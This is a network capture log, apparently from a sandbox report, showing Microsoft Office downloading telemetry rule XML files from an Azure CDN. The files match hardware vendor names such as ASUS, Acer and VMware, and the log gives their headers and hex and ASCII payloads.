2024-10-29 12:08:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:22 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 8384fc49-f01e-00aa-06d4-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120822Z-17c5cb586f6mkpfkkpsf1dpups00000001wg000000002rv8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:22 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 962f3e82-b01e-0070-52cb-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120822Z-r197bdfb6b4skzzvqpzzd3xetg00000005v00000000073c6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:22 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120822Z-16849878b78z2wx67pvzz63kdg000000050g00000000ffv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:22 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: abb1733e-f01e-005d-6a3c-2813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120822Z-15b8d89586ffsjj9qb0gmb1stn0000000ap0000000007w9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:23 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:23 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1ff5e4cc-601e-0001-30ce-25faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120823Z-15b8d89586f42m673h1quuee4s0000000amg0000000044ns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:23 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:23 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120823Z-16849878b782d4lwcu6h6gmxnw000000065g000000008k3d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:23 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:23 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 860a7776-a01e-00ab-0afb-289106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120823Z-r197bdfb6b48v72xb403uy6hns0000000720000000006hub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:23 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:23 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120823Z-16849878b78wc6ln1zsrz6q9w8000000062000000000frzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:23 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:23 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120823Z-16849878b78p8hrf1se7fucxk800000007dg0000000057x4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:24 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120824Z-16849878b78tg5n42kspfr0x4800000006kg000000004mx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:24 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bfc21b6c-401e-0067-2636-2809c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120824Z-15b8d89586fdmfsg1u7xrpfws00000000ang00000000acaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:24 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
